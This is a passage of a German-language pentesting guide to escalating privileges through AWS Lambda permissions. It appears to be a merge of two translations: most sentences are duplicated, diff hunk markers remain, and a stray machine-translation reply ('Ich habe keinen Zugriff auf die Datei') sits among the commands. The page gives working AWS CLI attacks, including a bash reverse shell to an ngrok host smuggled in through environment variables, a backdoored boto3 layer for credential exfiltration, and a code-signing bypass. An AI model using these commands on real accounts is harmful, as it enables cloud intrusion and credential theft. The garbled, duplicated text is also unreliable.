**Mögliche Auswirkung:** Direkte privesc auf die für lambda verwendete Service-Rolle, indem die Berechtigung zum Ändern des Codes und zum Ausführen gewährt wird.
### `lambda:AddLayerVersionPermission`
Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) die Berechtigung `lambda:GetLayerVersion` gewähren**. Er könnte auf die Schicht zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.
Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) die Berechtigung `lambda:GetLayerVersion` gewähren**. Er könnte auf das Layer zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potenzielle Auswirkungen:** Potenzieller Zugriff auf sensible Informationen.
**Potenzielle Auswirkung:** Möglicher Zugriff auf sensible Informationen.
### `lambda:UpdateFunctionCode`
Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\
Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.**
Benutzer mit der Berechtigung **`lambda:UpdateFunctionCode`** haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion zu ändern, die mit einer IAM-Rolle verknüpft ist.**\
Der Angreifer kann **den Code der Lambda-Funktion so ändern, dass IAM-Zugangsdaten exfiltriert werden**.
Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
Obwohl der Angreifer möglicherweise nicht die direkte Möglichkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass eine vorbestehende und betriebsbereite Lambda-Funktion durch vorhandene Workflows oder Events ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt ermöglicht wird.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die verwendete Lambda-Dienstrolle.
**Potential Impact:** Direkter privesc auf die verwendete Lambda-Service-Rolle.
### `lambda:UpdateFunctionConfiguration`
#### RCE über Umgebungsvariablen
Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda beliebigen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen Python-Prozess dazu zu bringen, beliebige Befehle auszuführen:
Mit dieser Berechtigung ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda-Funktion beliebigen Code ausführt. Zum Beispiel ist es in python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen python-Prozess beliebige Befehle ausführen zu lassen:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Für andere Skriptsprachen gibt es andere Umgebungsvariablen, die Sie verwenden können. Für weitere Informationen überprüfen Sie die Unterabschnitte der Skriptsprachen in:
Für andere Skriptsprachen gibt es weitere env variables, die du verwenden kannst. Für mehr Informationen siehe die Unterabschnitte zu Skriptsprachen in:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE über Lambda Layers
#### RCE via Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht es, **Code** in Ihrer Lambda-Funktion einzuschließen, aber **separat zu speichern**, sodass der Funktionscode klein bleiben kann und **mehrere Funktionen Code teilen können**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht, **code** in deiner lamdba function zu integrieren, diesen aber **separat zu speichern**, sodass der Funktionscode klein bleibt und **mehrere Funktionen Code teilen können**.
Innerhalb von Lambda können Sie die Pfade überprüfen, von denen Python-Code geladen wird, mit einer Funktion wie der folgenden:
Innerhalb von lambda kannst du die Pfade prüfen, von denen python code geladen wird, mit einer Funktion wie der folgenden:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Diese sind die Orte:
Dies sind die Pfade:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -198,61 +198,120 @@ Diese sind die Orte:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
Zum Beispiel wird die Bibliothek boto3 von `/var/runtime/boto3` geladen (4. Position).
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
#### Ausnutzung
#### Exploitation
Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten.
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **eine neue Layer hinzuzufügen** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
Zum Beispiel, nehmen wir an, dass die Lambda die Bibliothek boto3 verwendet, dies wird eine lokale Schicht mit der letzten Version der Bibliothek erstellen:
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
```bash
pip3 install -t ./lambda_layer boto3
```
Sie können `./lambda_layer/boto3/__init__.py` öffnen und **die Hintertür im globalen Code hinzufügen** (eine Funktion zum Exfiltrieren von Anmeldeinformationen oder um beispielsweise eine Reverse-Shell zu erhalten).
Du kannst `./lambda_layer/boto3/__init__.py` öffnen und **add the backdoor in the global code** (zum Beispiel eine Funktion, um credentials zu exfiltrate oder eine reverse shell zu bekommen).
Dann zippen Sie das `./lambda_layer` Verzeichnis und **laden die neue Lambda-Schicht** in Ihr eigenes Konto hoch (oder in das des Opfers, aber möglicherweise haben Sie dafür keine Berechtigungen).\
Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **kompatibel mit der Python-Version** sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein:
Zippe dann das Verzeichnis `./lambda_layer` und **upload the new lambda layer** in deinem eigenen Konto (oder in dem des Opfers, aber du hast dafür möglicherweise nicht die Berechtigungen).\
Beachte, dass du einen python-Ordner erstellen und die Bibliotheken dort ablegen musst, um /opt/python/boto3 zu überschreiben. Außerdem muss die layer **compatible with the python version** sein, die von der lambda verwendet wird, und wenn du sie in deinem Konto hochlädst, muss sie in der **same region:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Jetzt machen Sie die hochgeladene Lambda-Schicht **für jedes Konto zugänglich**:
Mache jetzt die hochgeladene lambda layer **für jedes Konto zugänglich**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
Und ge die Lambda-Schicht zur Opfer-Lambda-Funktion hinzu:
Und hänge das lambda layer an die Ziel-lambda-Funktion an:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie auf normale Weise **aufgerufen wird** was die sicherere Methode ist.
Der nächste Schritt wäre entweder, die Funktion selbst **aufzurufen**, falls möglich, oder zu warten, bis e**s aufgerufen wird** durch normale Mittel — was die sicherere Methode ist.
Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in:
Eine **heimlichere Methode, diese Schwachstelle auszunutzen**, findet sich in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die Lambda-Service-Rolle, die verwendet wird.
**Mögliche Auswirkungen:** Direkter privesc zur verwendeten lambda service role.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, dies zu testen, also lass es mich wissen, wenn du es tust!
Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie via URL ausführen... aber ich konnte keinen Weg finden, das zu testen, also sag mir Bescheid, wenn du es schaffst!
### Lambda MitM
Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer senden, exfiltrieren, siehe dazu:
Einige lambdas werden **sensible Informationen von Benutzern in Parametern empfangen.** Wenn du in einem von ihnen RCE erzielst, kannst du die Informationen exfiltrieren, die andere Benutzer an ihn senden; siehe:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## Referenzen
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
Wenn eine Lambda-Funktion Code Signing erzwingt, kann ein Angreifer, der entweder die Code Signing Config (CSC) entfernt oder sie auf `WARN` herabstuft, nicht signierten Code in die Funktion deployen. Das umgeht Integritätsschutzmaßnahmen, ohne die IAM-Rolle der Funktion oder deren Triggers zu verändern.
Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
Notes:
- Für Path B brauchst du kein AWS Signer-Profil, wenn die CSC-Policy auf `WARN` gesetzt ist (nicht signierte Artefakte erlaubt).
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
Prepare a small payload:
```bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Pfad A) Entferne CSC und aktualisiere dann den Code:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Pfad B) Auf 'Warn' herabstufen und Code aktualisieren (falls Löschen nicht erlaubt):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Ich habe keinen Zugriff auf die Datei. Bitte füge den Markdown-Inhalt von src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md hier ein oder präzisiere, was genau ich überprüfen/übersetzen soll.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
Mögliche Auswirkung: Fähigkeit, beliebigen unsigned code in eine function zu pushen und auszuführen, die eigentlich signed deployments durchsetzen sollte — dies kann zur code execution mit den Berechtigungen der function role führen.
Bereinigung:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```